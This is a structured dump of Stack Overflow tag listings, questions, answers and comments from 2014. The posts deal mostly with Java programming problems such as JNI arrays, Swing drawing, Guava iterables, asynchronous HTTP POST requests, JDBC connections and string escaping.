tags question: http://stackoverflow.com/q/22200773
tags question: http://stackoverflow.com/q/22296431
tags question: http://stackoverflow.com/q/22195407
tags question: http://stackoverflow.com/q/22218917
tags question: http://stackoverflow.com/q/22246735
tags question: http://stackoverflow.com/q/22231061
tags question: http://stackoverflow.com/q/22322384
tags question: http://stackoverflow.com/q/22210570
tags question: http://stackoverflow.com/q/22321029
tags question: http://stackoverflow.com/q/22321773
tags question: http://stackoverflow.com/q/22285882
tags question: http://stackoverflow.com/q/22327715
tag name: hibernate
tags question: http://stackoverflow.com/q/22245110
tags question: http://stackoverflow.com/q/22321663
tags question: http://stackoverflow.com/q/22247672
tags question: http://stackoverflow.com/q/22328116
tags question: http://stackoverflow.com/q/22178860
tags question: http://stackoverflow.com/q/22301426
tags question: http://stackoverflow.com/q/22252088
tags question: http://stackoverflow.com/q/22204590
tags question: http://stackoverflow.com/q/22197052
tags question: http://stackoverflow.com/q/22176736
tags question: http://stackoverflow.com/q/22298941
tags question: http://stackoverflow.com/q/22303032
tags question: http://stackoverflow.com/q/22248133
tags question: http://stackoverflow.com/q/22248872
tags question: http://stackoverflow.com/q/22172793
tags question: http://stackoverflow.com/q/22208870
tags question: http://stackoverflow.com/q/22186303
tags question: http://stackoverflow.com/q/22211083
tags question: http://stackoverflow.com/q/22219995
tags question: http://stackoverflow.com/q/22300257
tags question: http://stackoverflow.com/q/22173885
tags question: http://stackoverflow.com/q/22224354
tags question: http://stackoverflow.com/q/22207776
tags question: http://stackoverflow.com/q/22262979
tags question: http://stackoverflow.com/q/22175322
tags question: http://stackoverflow.com/q/22309425
tags question: http://stackoverflow.com/q/22201776
tags question: http://stackoverflow.com/q/22300980
tags question: http://stackoverflow.com/q/22194472
tags question: http://stackoverflow.com/q/22312463
tags question: http://stackoverflow.com/q/22195637
tags question: http://stackoverflow.com/q/22305034
tags question: http://stackoverflow.com/q/22183163

http://stackoverflow.com/comment/33925405
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22321530
has text: @JesperBunnyJensen i got my result after putting the jar and class file & php file in same directory like in C://wamp//www/crypto but same thing if i apply in my project folder load php jar & class file in same directory i got the error class not found

http://stackoverflow.com/q/22257899
has body: In my native C++ code, there is a function that must return a Java object. This function is called from within the Java code using JNI. Inside the returned object, there is a two dimensional double array field that must be filled before the object is returned. While there are example codes regarding setting an array field inside a jobject, there is no clear way of setting multidimensional array fields, whether they be arrays of primitives or other objects. How exactly does one achieve this?
answer count: 1
downvote count: 0
favorite count: 0
tagged with: multidimensional-array
tagged with: field
has title: How to set multidimensional array field of Java object through JNI
accepted answer: http://stackoverflow.com/a/22257900
tagged with: c++
type: AnsweredQuestion
upvote count: 3
tagged with: java
has answer: http://stackoverflow.com/a/22257900
type: Question
score: 3
tagged with: java-native-interface

http://stackoverflow.com/comment/33898596
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22299319
has text: @TransactionAttribute(TransactionAttributeType.REQUIRES_NEW) private void startfirstPoller() { // find all booking from database and update bokingFacade.findAll(); bokingFacade.update(booking); } @TransactionAttribute(TransactionAttributeType.REQUIRES_NEW) private void startsecondPoller() { // find all booking updated from database and update bokingFacade.findAll(); bokingFacade.update(booking); }

http://stackoverflow.com/a/22315080
score: 1
has body: Change System.out.println(board[i][j]); to System.out.print(board[i][j]); and insert System.out.println(); after the inner loop.
downvote count: 0
has comment: http://stackoverflow.com/comment/33909577
answers question: http://stackoverflow.com/q/22315041
type: Answer
upvote count: 1

http://stackoverflow.com/q/22315106
favorite count: 0
has comment: http://stackoverflow.com/comment/33910360
accepted answer: http://stackoverflow.com/a/22315405
has title: Creating a Bull's eye with for loops
has comment: http://stackoverflow.com/comment/33909981
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/33910098
tagged with: paint
tagged with: java
upvote count: 1
tagged with: swing
has comment: http://stackoverflow.com/comment/33909595
downvote count: 1
type: Question
has answer: http://stackoverflow.com/a/22315405
has comment: http://stackoverflow.com/comment/33911931
score: 0
has body: So, i was reading my book and making exercises, it all went perfect until i had to do the first graphical exercise, i'll post the description of the exercise: Draw a “bull's eye”—a set of concentric rings in alternating black and white colors. Your program should be composed of classes BullsEye, BullsEyeComponent, BullsEyeViewer. This is my BullsEye class: http://pastebin.com/4K7J2BM1 It's a tad long so i posted it on pastebin. in case you need it, those are the BullsEyeComponent class and the BullsEyeViewer class: package GraphicalExecises; import java.awt.Graphics; import java.awt.Graphics2D; import javax.swing.JComponent; public class BullsEyeComponent extends JComponent { public void paintComponent(Graphics g) { Graphics2D g2 = (Graphics2D) g; BullsEye bullsEye = new BullsEye(20, 10); bullsEye.draw(g2); } } And package GraphicalExecises; import javax.swing.JFrame; public class BullsEyeViewer { public static void main(String[] args) { JFrame frame = new JFrame(); BullsEyeComponent comp = new BullsEyeComponent(); frame.setSize(200, 200); frame.setResizable(false); frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); frame.setVisible(true); frame.add(comp); } } Edit: So, it seems that i've forgotten to add the question\problem: The problem is that it just draws the first circle and not the others. I see that someone has responded with the recursive method, but i think it's a little too advanced for me.
has comment: http://stackoverflow.com/comment/33909562
answer count: 1
has comment: http://stackoverflow.com/comment/33909648

http://stackoverflow.com/a/22199251
answers question: http://stackoverflow.com/q/22199173
type: Answer
score: 3
downvote count: 0
has comment: http://stackoverflow.com/comment/33699430
upvote count: 3
has body: after inserting the automatic boxing the code becomes: public class Puzzel1 { public static void main(String[] args) { ArrayList list = new ArrayList(); for (byte i = 0; i &lt; 10; i++) { list.add(Byte.valueOf(i)); list.remove(new Integer(i)); } System.out.println("*"); System.out.println(list.size()); } } Remove relies on the equals method of the elements. and because Byte.valueOf(i).equals(new Integer(i)) is always false the elements are never removed

http://stackoverflow.com/comment/33853106
type: Comment
has text: but 4.790016E8 is == 479001600. 4.790016E8 is a different notation for 4.790016 x 10^8
type: QuestionComment
comment on: http://stackoverflow.com/q/22283892
score: 0

http://stackoverflow.com/comment/33673647
score: 0
type: Comment
type: QuestionComment
has text: static methods are not polymorphic, so they don't lend themselves to what you are trying to do.
comment on: http://stackoverflow.com/q/22184240

http://stackoverflow.com/q/22212035
has comment: http://stackoverflow.com/comment/33723745
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/33767309
tagged with: nosuchelementexception
tagged with: guava
has answer: http://stackoverflow.com/a/22239090
tagged with: java
type: Question
has comment: http://stackoverflow.com/comment/33752638
tagged with: iterable
has comment: http://stackoverflow.com/comment/33733283
score: 0
accepted answer: http://stackoverflow.com/a/22239090
has body: I have a bunch of Map&lt;Integer, TreeSet&lt;Double&gt;&gt; objects, and I am passing the values off to another method. I got a NoSuchElementException in that method, so started debugging, and saw that the call to Map#values() throws this exception. But, when I loop through the values, it prints all the values perfectly. Here's the code snippet that's causing this issue: Map&lt;Integer, TreeMultimap&lt;String, Double&gt;&gt; kMap = Maps.newTreeMap(); for (int i = 0; i &lt; 3; i++) { TreeMultimap&lt;String, Double&gt; treeMultimap = TreeMultimap.create(); treeMultimap.putAll("a" + i, Lists.newArrayList(0.0, 0.06, 0.17, 0.23)); treeMultimap.putAll("b" + i, Lists.newArrayList(0.0, 0.16, 0.34, 0.49)); kMap.put(i, treeMultimap); } Map&lt;Integer, TreeSet&lt;Double&gt;&gt; rescaledKMap = Maps.transformEntries(kMap, ToRescaledValueMap(1.2)); Iterable&lt;TreeSet&lt;Double&gt;&gt; treeSets = rescaledKMap.values(); // Prints out each element correctly. No exception is thrown. for (TreeSet&lt;Double&gt; set : treeSets) System.out.println(Joiner.on(',').join(set)); // NoSuchElementException thrown in getMeanPlot() before anything happens there. TreeMap&lt;Double, Double&gt; mean_rescaledKMap = getMeanPlot(rescaledKMap.values()); The signature is getMeanPlot(Iterable&lt;TreeSet&lt;Double&gt;&gt;). How is the iterable correct just before it gets passed to the second method, but throws an exception just as the second method start? Stack Trace The stack trace shows the Maps.EntryTransformer object ToRescaledValueMap as the culprit. Here's the trace: Exception in thread "main" java.util.NoSuchElementException at java.util.TreeMap$PrivateEntryIterator.nextEntry(TreeMap.java:1113) at java.util.TreeMap$EntryIterator.next(TreeMap.java:1151) at java.util.TreeMap$EntryIterator.next(TreeMap.java:1146) at com.google.common.collect.AbstractMapBasedMultimap$Itr.next(AbstractMapBasedMultimap.java:1145) at com.google.common.collect.Ordering.min(Ordering.java:460) at com.google.common.collect.Or…
has title: Iterable throws NoSuchElementException even after I have verified by printing each element
answer count: 1
has comment: http://stackoverflow.com/comment/33723819
tagged with: lazy-loading
has comment: http://stackoverflow.com/comment/33724286
has comment: http://stackoverflow.com/comment/33723589

http://stackoverflow.com/q/22321225
answer count: 1
tagged with: asynchronous
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/22981279
accepted answer: http://stackoverflow.com/a/22981279
tagged with: java
tagged with: http
tagged with: post
type: Question
has title: How to set HTTP post parameters on a NIO Asynchronous call?
tagged with: nio
has body: the answer to this must be pretty simple, but I'm still unable to find it. Let's say that I have a working example of Java Asynchronous call that makes use of GET parameters: final CloseableHttpAsyncClient client = HttpAsyncClients.createDefault(); client.start(); URL url = new URL("http://www.myurl.com?param1=blabla"); try { final Future&lt;Boolean&gt; future = client.execute( HttpAsyncMethods.createGet(url), new MyResponseConsumer(), null ); NotifierThread hilo = new NotifierThread(future); hilo.start(); } finally { client.close(); } but what if I want to use POST parameters for "param1" instead of GET?. How can I achieve this?. I was unable to find any method on the HttpAsyncMethods library to do this. Any help would be appreciated. Regards
score: 0

http://stackoverflow.com/a/22205819
type: Answer
answers question: http://stackoverflow.com/q/22205748
upvote count: 5
score: 5
has body: if (string.contains(".")) This line is checking the whole string and returning true if there is a . anywhere in it. Instead, you want to test if c is a .
downvote count: 0

http://stackoverflow.com/comment/33653014
comment on: http://stackoverflow.com/q/22173186
has text: a servlet can handle only one http request, you can create a filter(s) if you need pre-procecessing
score: 0
type: Comment
type: QuestionComment

spring
tags question: http://stackoverflow.com/q/22304000
tags question: http://stackoverflow.com/q/22212615
tags question: http://stackoverflow.com/q/22284071
tags question: http://stackoverflow.com/q/22234765
tags question: http://stackoverflow.com/q/22291238
tags question: http://stackoverflow.com/q/22171822
tags question: http://stackoverflow.com/q/22286725
tags question: http://stackoverflow.com/q/22266337
tags question: http://stackoverflow.com/q/22209099
tags question: http://stackoverflow.com/q/22204881
tags question: http://stackoverflow.com/q/22266775
tags question: http://stackoverflow.com/q/22204025
tags question: http://stackoverflow.com/q/22299411
tags question: http://stackoverflow.com/q/22293665
tags question: http://stackoverflow.com/q/22323166
tags question: http://stackoverflow.com/q/22237248
tags question: http://stackoverflow.com/q/22180389
tags question: http://stackoverflow.com/q/22248171
tags question: http://stackoverflow.com/q/22301148
tags question: http://stackoverflow.com/q/22262979
tags question: http://stackoverflow.com/q/22252636
tags question: http://stackoverflow.com/q/22266876
tags question: http://stackoverflow.com/q/22297112
tags question: http://stackoverflow.com/q/22259760
tags question: http://stackoverflow.com/q/22242717
tags question: http://stackoverflow.com/q/22311306
tags question: http://stackoverflow.com/q/22211038
tags question: http://stackoverflow.com/q/22297052
tags question: http://stackoverflow.com/q/22195637
tags question: http://stackoverflow.com/q/22233269
tags question: http://stackoverflow.com/q/22262351
tags question: http://stackoverflow.com/q/22213995
tags question: http://stackoverflow.com/q/22191386
tags question: http://stackoverflow.com/q/22184566
tags question: http://stackoverflow.com/q/22198609
tags question: http://stackoverflow.com/q/22284854
tags question: http://stackoverflow.com/q/22307511
tags question: http://stackoverflow.com/q/22286548
tags question: http://stackoverflow.com/q/22171292
tags question: http://stackoverflow.com/q/22209035
tags question: http://stackoverflow.com/q/22236879
tags question: http://stackoverflow.com/q/22221741
tags question: http://stackoverflow.com/q/22284573
tags question: http://stackoverflow.com/q/22170869
tags question: http://stackoverflow.com/q/22214629
tags question: http://stackoverflow.com/q/22279020
tags question: http://stackoverflow.com/q/22255127
tags question: http://stackoverflow.com/q/22230328
tags question: http://stackoverflow.com/q/22230481
tags question: http://stackoverflow.com/q/22188981
type: Tag
tags question: http://stackoverflow.com/q/22234925
tags question: http://stackoverflow.com/q/22327445
tags question: http://stackoverflow.com/q/22226366
tags question: http://stackoverflow.com/q/22296448
tags question: http://stackoverflow.com/q/22225211
tags question: http://stackoverflow.com/q/22274972
tags question: http://stackoverflow.com/q/22259790
tags question: http://stackoverflow.com/q/22230271
tags question: http://stackoverflow.com/q/22200057
tags question: http://stackoverflow.com/q/22289802
tags question: http://stackoverflow.com/q/22223914
tags question: http://stackoverflow.com/q/22222013
tags question: http://stackoverflow.com/q/22180384
tags question: http://stackoverflow.com/q/22321050
tags question: http://stackoverflow.com/q/22327476
tags question: http://stackoverflow.com/q/22173869
tags question: http://stackoverflow.com/q/22301878
tags question: http://stackoverflow.com/q/22306481
tags question: http://stackoverflow.com/q/22283889
tags question: http://stackoverflow.com/q/22198895
tags question: http://stackoverflow.com/q/22277590
tags question: http://stackoverflow.com/q/22315713
tags question: http://stackoverflow.com/q/22299689
tags question: http://stackoverflow.com/q/22320438
tags question: http://stackoverflow.com/q/22261730
tags question: http://stackoverflow.com/q/22244985
tags question: http://stackoverflow.com/q/22251741
tags question: http://stackoverflow.com/q/22306591
tags question: http://stackoverflow.com/q/22225863

recursion
type: Tag
tags question: http://stackoverflow.com/q/22195643
tags question: http://stackoverflow.com/q/22284832
tags question: http://stackoverflow.com/q/22183150
tags question: http://stackoverflow.com/q/22301900
tags question: http://stackoverflow.com/q/22309224
tags question: http://stackoverflow.com/q/22184155
tags question: http://stackoverflow.com/q/22178866
tag name: recursion
tags question: http://stackoverflow.com/q/22239871
tags question: http://stackoverflow.com/q/22238306
tags question: http://stackoverflow.com/q/22288843
tags question: http://stackoverflow.com/q/22316763
tags question: http://stackoverflow.com/q/22304603
tags question: http://stackoverflow.com/q/22304188
tags question: http://stackoverflow.com/q/22186826
tags question: http://stackoverflow.com/q/22287240
tags question: http://stackoverflow.com/q/22239191
tags question: http://stackoverflow.com/q/22188371
tags question: http://stackoverflow.com/q/22292201
tags question: http://stackoverflow.com/q/22237967
tags question: http://stackoverflow.com/q/22315068
tags question: http://stackoverflow.com/q/22259138
tags question: http://stackoverflow.com/q/22261136
tags question: http://stackoverflow.com/q/22187400
tags question: http://stackoverflow.com/q/22237930
tags question: http://stackoverflow.com/q/22264183
tags question: http://stackoverflow.com/q/22272307
tags question: http://stackoverflow.com/q/22322439
tags question: http://stackoverflow.com/q/22324847
tags question: http://stackoverflow.com/q/22176813
tags question: http://stackoverflow.com/q/22284233
tags question: http://stackoverflow.com/q/22179569
tags question: http://stackoverflow.com/q/22236578
tags question: http://stackoverflow.com/q/22184921
tags question: http://stackoverflow.com/q/22200676

http://stackoverflow.com/a/22310862
downvote count: 1
score: 1
has body: Hej Martin, i did this some month ago. I used a JDBC Connection to a MySQL Database, but MariaDB is the Drop-in replacement, so i think it will also work on a MariaDB Instance. Here is my working example code: JDBCConnection class package de.professional_webworkx.blog.sp.connector; import java.sql.Connection; import java.sql.DriverManager; import java.sql.ResultSet; import java.sql.SQLException; import java.sql.Statement; import com.mysql.jdbc.Driver; public class JDBCConnector { public static JDBCConnector INSTANCE; /* * We need some connection information * CHANGE THEM! */ private static final String USER = "USER"; private static final String PASS = "PASS"; private static final String HOST = "localhost"; private static final String DB = "DATABASE"; private static final int PORT = 3306; private static final String URL = "jdbc:mysql://"+HOST+":"+PORT+"/"+DB; private Connection connection; private java.sql.PreparedStatement statement; private JDBCConnector() { connect(); } private void connect() { try { Driver driver = (Driver)Class.forName("com.mysql.jdbc.Driver").newInstance(); DriverManager.registerDriver(driver); connection = DriverManager.getConnection(URL, USER, PASS); } catch (InstantiationException e) { // TODO Auto-generated catch block e.printStackTrace(); } catch (IllegalAccessException e) { // TODO Auto-generated catch block e.printStackTrace(); } catch (ClassNotFoundException e) { // TODO Auto-generated catch block e.printStackTrace(); } catch (SQLException e) { // TODO Auto-generated catch block e.printStackTrace(); } } public void closeConnection() { if(connection != null) { try { connection.close(); } catch (SQLException e) { System.err.println("Something went wrong while closing the connection"); } } } public void getCustomerCount() { try { Statement statement = connection.createStatement(); ResultSet rs = statement.executeQuery("SELECT COUNT(*) FROM customer;"); while(rs != null &amp;&amp; rs.next()){ System.out.println(rs.getInt(1)); } } catch (SQL…
answers question: http://stackoverflow.com/q/22226335
has comment: http://stackoverflow.com/comment/33972638
type: Answer
upvote count: 2

http://stackoverflow.com/comment/33883606
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22300980
has text: What does it mean "nothing works"...`AUTO` will do it for you.

http://stackoverflow.com/q/22186318
score: 2
downvote count: 0
tagged with: face-detection
type: Question
type: AnsweredQuestion
has title: Face Features Detection - corner of eyes, eyebrows
accepted answer: http://stackoverflow.com/a/22187263
favorite count: 0
upvote count: 2
answer count: 1
tagged with: c++
tagged with: opencv
tagged with: java
tagged with: image-processing
has body: I am creating basic emotion detection system for mobile phone with usage of OpenCV4Android. My system is already capable of finding mouth and doing some preprocessing. I have nice results of getting face objects from Canny: Examplary Face1: https://dl.dropboxusercontent.com/u/108321090/FACE%20%282%29.png Examplary Face2: https://dl.dropboxusercontent.com/u/108321090/FACE%20%281%29.png Red rectangles are areas found by cascades. I have those saved as Mat objects. Blue dots are points I need to find. Problem is, that I have both eyebrows and eyes on the same segment. Additionaly there are situations in which eyebrows are directly connected to eyes (in some emotion states). It's hard to access some points. I have also normal images (of course) and tresholded ones which are also interesting for eyebrow shapes - but I lose some other objects (mouth - well that one doesn't matter cuz its already done, eyes) due to bad light, well eyebrows are always well visible. Of course I could change tresholding a bit, cuz I dont need it in finding other features. Like I said mouths is done well. Eyes/Eyebrows left. Examplary Face3: https://dl.dropboxusercontent.com/u/108321090/Screenshot_2014-01-17-01-33-14.png Examplary Face4: https://dl.dropboxusercontent.com/u/108321090/Screenshot_2014-01-17-01-26-33.png Examplary Face5 (a bit problematic, eyes gone, but if I treshold them localy not globaly its fine) https://dl.dropboxusercontent.com/u/108321090/Screenshot_2014-03-05-01-30-48.png Exampalary Face6 (eyebrows conencted to eyes) https://dl.dropboxusercontent.com/u/108321090/Screenshot_2014-03-05-01-28-21.png I want to ask you if you could provide me with any materials/ideas connected to detection of eye, and eyebrows action units.
has answer: http://stackoverflow.com/a/22187263

http://stackoverflow.com/q/22313288
has title: how do i finish sorting this in descending order?
score: 0
tagged with: java
has comment: http://stackoverflow.com/comment/33906736
has comment: http://stackoverflow.com/comment/33907446
has comment: http://stackoverflow.com/comment/33906965
tagged with: algorithm
has body: We need to make two classes: GirlScoutCheck and CookieAnalyzerCheck. We need to get user input - ask them for the name of each girl until they type in runaway. Then we ask them for the number of cookie boxes each of the girl sold, and then add up the cookie boxes for each girl separately and multiply by 3.50. That's the total income. Then we sort them in descending order based on the total income. I have done almost everything. I just need help on sorting and printing the sorted info. Can anybody help me finish this? Thank you. package Pcs; import java.text.NumberFormat; import java.util.ArrayList; import java.util.Collections; import java.util.Scanner; public class CookieAnalyzerCheck { public static void main(String args[]) { NumberFormat nf = NumberFormat.getCurrencyInstance(); String name = ""; ArrayList al = new ArrayList(); do { Scanner kb = new Scanner(System.in); System.out.println("Please enter the name of each" + " girl Scout, or \"RUNAWAY\" " + "to exit."); name = kb.nextLine(); if (!name.equalsIgnoreCase("runaway")) { System.out.println("Enter the number of Thin Mints sold"); int ThinMints = kb.nextInt(); System.out.println("Enter the number of Caramel Delights sold"); int CaramelDelights = kb.nextInt(); System.out.println("Enter the number of Lemonades sold"); int Lemonades = kb.nextInt(); System.out.println("Enter the number of ThanksALot sold"); int ThanksALot = kb.nextInt(); System.out.println("Enter the number of MangoCremes sold"); int MangoCremes = kb.nextInt(); GirlScoutCheck ba = new GirlScoutCheck(name, ThinMints, CaramelDelights, Lemonades, ThanksALot, MangoCremes); al.add(ba); System.out.println(""); //makes output easier to read System.out.println(); } } while (!name.equalsIgnoreCase("runaway")); GirlScoutCheck thisBA = (GirlScoutCheck) al.get(0); double maxBalance = thisBA.totalIncome; String maxName = thisBA.name; for (int i = 1; i &lt; al.size(); i++) { thisBA = (GirlScoutCheck) al.get(i); if (thisBA.totalIncome &gt; maxBalance) { //we ha…
tagged with: sorting
tagged with: arraylist
has answer: http://stackoverflow.com/a/22315282
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/22315282
type: Question
tagged with: collections
answer count: 1

http://stackoverflow.com/comment/33896859
has text: Well, that's another issue. Every constructor calls a superclass constructor (except for `Object` itself), whether there is an explicit call or not. If there is no explicit call, then Java inserts an implicit call to the no-arg superclass constructor as the first statement in the subclass constructor. If the superclass constructor is `private`, then of course it's not accessible.
type: AnswerComment
score: 4
comment on: http://stackoverflow.com/a/22308039
type: Comment

http://stackoverflow.com/q/22212612
has body: I wrote a code using eclipse, and I am having trouble running it. It shows up with no errors and everything seems to correct, but when I run it, my eclipse only runs the previous eclipse code i ran... so for example, In eclipse, if i run an old code i wrote for name display that i wrote, and right now writing a separate code (both with main()) lets say for age, if i run name or any other previous written program from my eclipse, and it runs, and then i try to run the new age code, my eclipse only runs the previous code that i wrote. the eclipse works with every other code except for the one I just wrote(example age). What am i doing wrong or what is going on with my eclipse? I even copied and emailed it to my self so i can open it on my other computer, but no execution on the other computer either....anybody know whats going on with my eclipse???
tagged with: java
has title: eclipse will not read my code, and displays the previous code
tagged with: eclipse
has comment: http://stackoverflow.com/comment/33724829
type: Question
score: 0
has comment: http://stackoverflow.com/comment/33724795
answer count: 0
type: UnansweredQuestion

http://stackoverflow.com/comment/33659558
score: 0
has text: Read this http://stackoverflow.com/questions/27581/overriding-equals-and-hashcode-in-java
type: QuestionComment
comment on: http://stackoverflow.com/q/22176683
type: Comment

http://stackoverflow.com/comment/33926498
comment on: http://stackoverflow.com/q/22324552
score: 0
has text: these 3 panels are put horizontally just for comparison.
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/33707975
score: 0
type: Comment
comment on: http://stackoverflow.com/a/22203649
has text: So since my array is an array of objects it will pass the references to that object and not the information inside that object?
type: AnswerComment

http://stackoverflow.com/comment/33783163
comment on: http://stackoverflow.com/a/22245220
score: 1
type: AnswerComment
type: Comment
has text: It print upto 54 need only 50. can you correct it ASAP.

http://stackoverflow.com/comment/33676640
score: 0
type: Comment
type: QuestionComment
has text: @robermann I'm saying that if the older version of an EAR uses the old sources of the specs, it could still be deployed to an AS that uses new specs, assuming the specs are backwards compatible. Right?
comment on: http://stackoverflow.com/q/22185605

http://stackoverflow.com/a/22290732
answers question: http://stackoverflow.com/q/22290673
score: 1
has body: Your code looks pretty problematic, to say the least. First of all, is the line in which you declare the Scanner supposed to be commented? If not, that could be part of the problem. You should watch out that you pass the upper-case System.in to your Scanner. You also want to use the nextDouble() method. (Java is case sensitive!) You also want to be careful in your second print statement that you do something more like System.out.println(integer+",");
downvote count: 0
type: Answer
upvote count: 1

http://stackoverflow.com/a/22226950
answers question: http://stackoverflow.com/q/22226715
upvote count: 1
has comment: http://stackoverflow.com/comment/33750723
type: Answer
has comment: http://stackoverflow.com/comment/33750064
has body: No, there really isn't any simple magic you can add after the fact. The usual way one solves this problem is to design the document from the outset to carry a version number, and to design applications to check that version number and understand that they may not be able to preserve versions more recent than they were designed for. Another approach would be to design from the outset to validate against a DTD or schema, so that any new element introduced would make the document invalid for the older version of the program. I can think of some ugly ways to kluge around this, but they would involve making the file no longer be a well-formed XML document. (Make it a Document Fragment, for example, with multiple root elements. Or, if the old code was compiled with a parser which only supports XML 1.0, require that new documents be written as XML 1.1.) Of course those too would make the document unreadable by the old code. Basically, all the good answers require releasing a bugfix for the old code, and the lesson to learn is "plan for growth." I wish I could tell you otherwise.
downvote count: 0
score: 1
has comment: http://stackoverflow.com/comment/33753297
has comment: http://stackoverflow.com/comment/33749773

swing
tags question: http://stackoverflow.com/q/22284846
tags question: http://stackoverflow.com/q/22228861
tags question: http://stackoverflow.com/q/22248603
tags question: http://stackoverflow.com/q/22299320
tags question: http://stackoverflow.com/q/22283963
tags question: http://stackoverflow.com/q/22224000
tags question: http://stackoverflow.com/q/22198917
tags question: http://stackoverflow.com/q/22214932
tags question: http://stackoverflow.com/q/22240328
tags question: http://stackoverflow.com/q/22210050
tags question: http://stackoverflow.com/q/22192572
tags question: http://stackoverflow.com/q/22258625
tags question: http://stackoverflow.com/q/22271475
tags question: http://stackoverflow.com/q/22269908
tags question: http://stackoverflow.com/q/22230952
tags question: http://stackoverflow.com/q/22239656
tags question: http://stackoverflow.com/q/22202170
tags question: http://stackoverflow.com/q/22309958
tags question: http://stackoverflow.com/q/22299598
tags question: http://stackoverflow.com/q/22216101
tags question: http://stackoverflow.com/q/22283681
tags question: http://stackoverflow.com/q/22178866
tags question: http://stackoverflow.com/q/22180008
tags question: http://stackoverflow.com/q/22311000
tags question: http://stackoverflow.com/q/22190321
tags question: http://stackoverflow.com/q/22221977
tags question: http://stackoverflow.com/q/22174492
tags question: http://stackoverflow.com/q/22283599
tags question: http://stackoverflow.com/q/22306637
tags question: http://stackoverflow.com/q/22287722
tags question: http://stackoverflow.com/q/22297663
tags question: http://stackoverflow.com/q/22323364
tags question: http://stackoverflow.com/q/22228670
tags question: http://stackoverflow.com/q/22291010
tags question: http://stackoverflow.com/q/22260514
tags question: http://stackoverflow.com/q/22303203
tags question: http://stackoverflow.com/q/22257563
tags question: http://stackoverflow.com/q/22223680
tags question: http://stackoverflow.com/q/22273878
tags question: http://stackoverflow.com/q/22277551
tags question: http://stackoverflow.com/q/22186026
tags question: http://stackoverflow.com/q/22200815
tags question: http://stackoverflow.com/q/22238903
tags question: http://stackoverflow.com/q/22264647
tags question: http://stackoverflow.com/q/22207735
tags question: http://stackoverflow.com/q/22292075
tags question: http://stackoverflow.com/q/22188986
tags question: http://stackoverflow.com/q/22184416
tags question: http://stackoverflow.com/q/22237491
tags question: http://stackoverflow.com/q/22221907
tags question: http://stackoverflow.com/q/22186160
tags question: http://stackoverflow.com/q/22290178
tags question: http://stackoverflow.com/q/22234282
tags question: http://stackoverflow.com/q/22316792
tags question: http://stackoverflow.com/q/22264433
tags question: http://stackoverflow.com/q/22287873
tags question: http://stackoverflow.com/q/22282710
tags question: http://stackoverflow.com/q/22250362
tags question: http://stackoverflow.com/q/22211904
tags question: http://stackoverflow.com/q/22231972
tags question: http://stackoverflow.com/q/22231327
tags question: http://stackoverflow.com/q/22267247
tags question: http://stackoverflow.com/q/22271828
tags question: http://stackoverflow.com/q/22286402
tags question: http://stackoverflow.com/q/22228081
tags question: http://stackoverflow.com/q/22305095
tags question: http://stackoverflow.com/q/22210018
tags question: http://stackoverflow.com/q/22289157
tags question: http://stackoverflow.com/q/22177741
tags question: http://stackoverflow.com/q/22219591
tags question: http://stackoverflow.com/q/22212773
tags question: http://stackoverflow.com/q/22204831
tags question: http://stackoverflow.com/q/22216924
tags question: http://stackoverflow.com/q/22259765
tags question: http://stackoverflow.com/q/22323516
tags question: http://stackoverflow.com/q/22261273
tags question: http://stackoverflow.com/q/22257461
tags question: http://stackoverflow.com/q/22207922
tags question: http://stackoverflow.com/q/22220446
tags question: http://stackoverflow.com/q/22245133

http://stackoverflow.com/comment/33836982
type: QuestionComment
comment on: http://stackoverflow.com/q/22274776
score: 1
has text: Just a quick question - do you really need a gyro/accelero test? I can think of ways to see if the user has not touched the screen, will that meet your requirement.
type: Comment

http://stackoverflow.com/comment/33711948
has text: Flip this: `a = gCD(a,0);`
type: Comment
type: QuestionComment
score: 2
comment on: http://stackoverflow.com/q/22205904

http://stackoverflow.com/q/22326923
has title: Java string replacing (remove newlines, change $ to \$)
has comment: http://stackoverflow.com/comment/33929724
tagged with: java
has answer: http://stackoverflow.com/a/22326996
score: 6
accepted answer: http://stackoverflow.com/a/22326996
type: Question
has answer: http://stackoverflow.com/a/22327103
possible better answer: http://stackoverflow.com/a/22327031
has answer: http://stackoverflow.com/a/22327035
has answer: http://stackoverflow.com/a/22326960
downvote count: 0
tagged with: string
favorite count: 0
has body: I have a string like that ($ character is always surrounded with other characters): a$b c$d e$f I want my string method to put a \ in front of $ and remove newlines: a\$bc\$de\$f I tried this but it doesn't put \ character: s=s.replaceAll("\n","").replaceAll("$", "\\$");
has answer: http://stackoverflow.com/a/22327031
answer count: 5
tagged with: regex
upvote count: 6
type: AnsweredQuestion

http://stackoverflow.com/q/22290386
accepted answer: http://stackoverflow.com/a/27483274
has title: Java structure holding multiple variables that can be written and read as an integer?
has comment: http://stackoverflow.com/comment/33865320
answer count: 1
downvote count: 0
favorite count: 0
has answer: http://stackoverflow.com/a/27483274
has comment: http://stackoverflow.com/comment/43399370
type: AnsweredQuestion
has body: I am sure this exists, and I believe I did something similar in C quite a while back with bit fields, but I cannot think of how I should do this. Basically I will have a series of options that can either be on or off. These options describe the operations an application can perform on a file e.g. STRUCTURE { EXECUTE READ WRITE } If this structure were a bit field I would like to be able to set structure to a value that represents both READ and WRITE but not execute (e.g. 3). If I were to read this structure it could give me 3 thus I would know that given this value execute should be denied. A bit field solution may not necessarily be the best solution in this case though.
upvote count: 3
tagged with: java
type: Question
score: 3
has comment: http://stackoverflow.com/comment/33865704

http://stackoverflow.com/q/22240406
tagged with: reactive-programming
type: UnansweredQuestion
